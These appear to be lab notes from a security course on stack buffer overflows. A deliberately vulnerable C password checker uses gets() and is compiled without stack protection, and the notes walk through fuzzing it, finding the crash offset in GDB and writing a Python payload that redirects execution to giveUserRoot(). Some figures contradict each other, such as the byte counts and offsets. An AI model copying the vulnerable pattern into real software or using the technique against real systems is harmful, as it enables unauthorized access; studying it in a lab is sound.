STACK REDIRECTION
In a buffer overflow vulnerability, control flow can be redirected by overwriting a function’s return address on the stack. This allows execution to jump to a different memory location with more useful or malicious code, enabling exploits like executing injected shellcode.
//gcc -g -fno-stack-protector -z execstack 29_stack_redirect.c -o 29_stack_redirect.out
// the -fno-stack-protector means turn off stack protector which protects against stack smashing
// the -z execstack means make the user writable memory executable
//gcc -g -m32 -fno-stack-protector -z execstack 29_stack_redirect.c -o 29_stack_redirect.out
remnux@remnux:~$ nano 29_stack_redirect.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void lockOutUser(void)
{
//if the user enters in the wrong password, they must be a hacker. lock out the account
printf("You entered the wrong password. Account locked out!\n");
}
void giveUserRoot(void)
{
//if we're here, the user must be legit. ful admin privileges
printf("Root access granted!\n");
}
int passCheck(void)
{
char buff[16]; //passwords can be up to 15 characters
int validPass = 0;
//prompt the user for a password and store it in "buff"
printf("Enter the password : \n");
gets(buff);
//password checking routine
if(strcmp(buff, "gen_cyber=1337")){
//incorrect
printf("Wrong Password. \n");
validPass = 0;
}
else{
//correct
printf("Correct Password! \n");
validPass = 1;
}
return validPass;
}
int main(void)
{
if (passCheck() == 1)
giveUserRoot();
else
lockOutUser();
exit(0);
}
the objective to bypass the check & just have the giveUserRoot() be called instead!
#METHOD 1: one method is patching binaries to skip the passcheck and always give the user root
#METHOD 2: modifying registers and data
#METHOD 3: leveraging buffer overflow IOT redirect to giveUserRoot() instead of passCheck()
#METHOD 3 steps
#a1.run the program to see what the expected input and output looks like, what kind of strings are being passed and what is the general flow
remnux@remnux:~$ ./29_stack_redirect.out
Enter the password :
12345
Wrong Password.
You entered the wrong password. Account locked out!
#a2.identify common vulnerable functions in the program
#a3.identify common logic flaws in the program
#b.fuzz the program to see if there will be a "input" "Segmentation Fault (core dumped)" error
#this test is performed when trying to identify BUFFER OVERFLOWS
remnux@remnux:~$ ./29_stack_redirect.out
#instead of guessing use this
#sending a huge sequence of non repeating data to cause the program to crash
#then look at where the program segfaulted via the identified address
remnux@remnux:~$ cd ../resources
remnux@remnux:~$ ls
remnux@remnux:~$ python3 pattern_create.py
...
remnux@remnux:~$ python3 pattern.py
Usage Instructions:
-------------------
...
remnux@remnux:~$ python3 pattern.py create 500 //create 500 patterns of non-repeating data bytes
...
* either copy the output or redirect it to the file fileName
#prior to running this...the breakpoints on the vulnerable program MUST be set
#to before the gets() function is hit and after the gets() is hit
#the reason being is "after" the function is HIT, the segmentation fault address
#will be displayed in GDB making is easy to identify where to target or put the malware code
remnux@remnux:~$ python3 pattern.py create 1000 > ../binaries/fileName
gef> r < fileName
* send 1000 bytes of non-repeating data to identify the address of the segmentaion fault
gef> c
...
Program received signal SIGSEGV, Segmentation fault.
0x6a413969 in ?? () <--- copy this memory address
-------------------
0xffffd130......
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6a413969 <--- this is the memory address of where it encountered the crash
* go past the 1st breakpoint before the call to gets()
- the marker should be in the "push eax"
remnux@remnux:~$ python3 pattern.py offset 0x6a413969
hex pattern decoded as: b'i9Aj'
268
remnux@remnux:~$
BUFFER OVERFLOW REDIRECTION (WITH CRASHING)
#instructor method
remnux@remnux:~$ cd ../resources
remnux@remnux:~$ python3 pattern.py create 500
...
* copy the output
#1.test to ensure that the input will cause the program to crash
remnux@remnux:~$ ./29_stack_redirect.out
Enter the password
...
Wrong Password.
Segmentation fault (core dumped)
#2.test in GDB
remnux@remnux:~$ gdb ./29_stack_redirect.out
gef> r
Starting program: ...
[*] ...
Enter the password :
CTRL+v to paste the non-repeating data
Wrong Password.
Program received signal SIGSEGV, Segmentation fault.
0x31624130 in ?? () <---- this is the memmory address that is trying to execute at the return of this function
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x31624130
* breakpoints aren't required as all i want to know is where (memory address) in the non-repeating data is the crash occurring
#3.copy the hex address of the crash "0x31624130" and enter it as input into the "pattern.py"
remnux@remnux:~$ python3 pattern.py offset 0x31624130
hex pattern decoded as: b'0Ab1'
32
* these are the characters that caused the crash to happen which is the inverse of 0x31624130
- 32 bytes of the specified data caused the program to crash
remnux@remnux:~$
#4.craft & verify that the return address can be overwritten by 32 bytes
remnux@remnux:~$ nano redirect.py
import sys
//32 bytes overwrites EBP
//bytes 33-36 = RET which is represented by b'B' * 4
sys.stdout.buffer.write(b'A' * 32 + b'B' * 4)
remnux@remnux:~$ python3 redirect.py
AAAA...BBBB
remnux@remnux:~$ python3 redirect.py > redirect.txt
remnux@remnux:~$ wc -c redirect.txt
32 redirect.txt
* exactly 32 bytes of data which aligns with the buffer overflow on the target
#go back to gdb and feed test data to the application
gef> run < redirect.txt
Enter the password :
Wrong Password.
Program received signal SIGSEGV, Segmentation fault.
0x56556050 in puts@plt ()
* the theory here is when the program crashes, what you should see in the seg fault is...
#identify the function to redirect to IOT bypass checking!
#gef> info func
...
All defined functions
File 29_stack_redirect.c:
14: void giveUserRoot(void):
8: void lockOutUser(void):
46: int main(void):
20: int passCheck(void):
Non-debugging symbols:
...
0x56556030 strcmp@plt
0x56556040 gets@plt
0x56556050 puts@plt
* the dynamically linked functions are on the bottom
#set breakpoint
gef> b *giveUserRoot
Breakpoint 1 at 0x565561f4
gef> b *passCheck
Breakpoint 1 at 0x5655621f
* the idea in this specific breakpoint is to easily retrieve the address of this function
#modify the redirect.py script to include the function's address
remnux@remnux:~$ nano redirect.py
import sys
//32 bytes overwrites EBP
//bytes 33-36 = RET which is represented by b'B' * 4
//New Entry: target giveUserRoot() = 0x565561f4
- the idea is if you can take the memory address 0x565561f4, convert this into little endian, you can replace the 4 byte B's with the memory address
and see if the execution actually ends up in this giveUserRoot function
- little endian reverses the bytes ONLY not the contents
0x565561f4 = 56 55 61 f4 = f4 61 55 56
sys.stdout.buffer.write(b'A' * 32 + b'\xf4\x61\x55\x56')
* this specific modification will overwrite the RET address with the address of the
"giveUserRoot" function! which bypasses the checks
- this is what is called bypassing software checks with buffer overflow vulnerability
remnux@remnux:~$ python3 redirect.py
AAAA...?aUV
remnux@remnux:~$ python3 redirect.py > redirect.txt
remnux@remnux:~$ wc -c redirect.txt
36 redirect.txt
remnux@remnux:~$ xxd redirect.txt
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000020: f461 5556 .aUV
gef> run < redirect.txt
Starting program: ...
[*]
warning: ...
gef> d
gef> c
Continuing.
Enter the password :
Wrong Password.
Breakpoint 1. giveUserRoot () at 29_stack_redirect.c:15
...
gef> d
0x565561f4 <+0>: push ebp
* this should put you at the very top of the giveUserRoot()
- you should see the output of puts now
gef> c
Continuing
Root access granted!
Program received signal SIGSEGV. Segmentation fault.
0xffffd100 in ?? ()
* hitting continue will crash the program cuz you've overwritten important objects
such at the GLOBAL OFFSET TABLE (GOT) with invalid instructions
- see below method if you don't want the program to crash!
BUFFER OVERFLOW REDIRECTION (W/O CRASHING)
IOT prevent the application from crashing, you'll need to find the address of the Global Offset Table (GOT)
#identify the address of GOT
gef> c
...
REGISTER SECTION
$eip : 0xffffd100 -> 56559000 -> <_GLOBAL_OFFSET_TABLE_+0> cld
* instead of doing 32 A's, specify only a specific (surgical) amount of A's, so
the GOT value isn't overwritten!
- this has been covered something
##### with surgical precision, apply only the right amount of fuzz, so the GOT isn't
#overwritten! --- see "01.11 Buffer Overflows - wk11"
#FUZZ
root@dev:~$ python3 -c "print('A' * 16)" | ./27_stack_overflow.out
Enter some text:
AAAAAAAAAAAAAAAA
root@dev:~$ python3 -c "print('A' * 20)" | ./27_stack_overflow.out
Enter some text:
AAAAAAAAAAAAAAAAAAAA
#since this is a x86 program, fuzz 4-bytes at a time
root@dev:~$ python3 -c "print('A' * 24)" | ./27_stack_overflow.out
Enter some text:
AAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
* it looks like somewhere before the EBP and before the return address (EIP)
is really important to the program and modifying it causes the program to
crash and produce "segmentation fault"
root@dev:~$ python3 -c "print('A' * 21)" | ./27_stack_overflow.out
Enter some text:
AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
* 21 is the magic number where the program will crash
* the gets() reads a line from stdin stream and stores it in buffer. the line
consists of all characters up to and including the first newline character \n.
gets then replaces the newline character with a null character \0 before
returning the line
- if you typed in 20 characters in this sample, gets() actually saves 21 characters
because of the newline
- in the above fuzzing when the program crashes at 21, its actually 22 characters
being entered into memory; this includes the null char which is 22nd
- the REAL reason why the program is blowing up and crashing is because
an important memory section the GOT/PLT is being overwritten with data!
#07
gdb ./level07.out
b *main
b *0x56556383
Last updated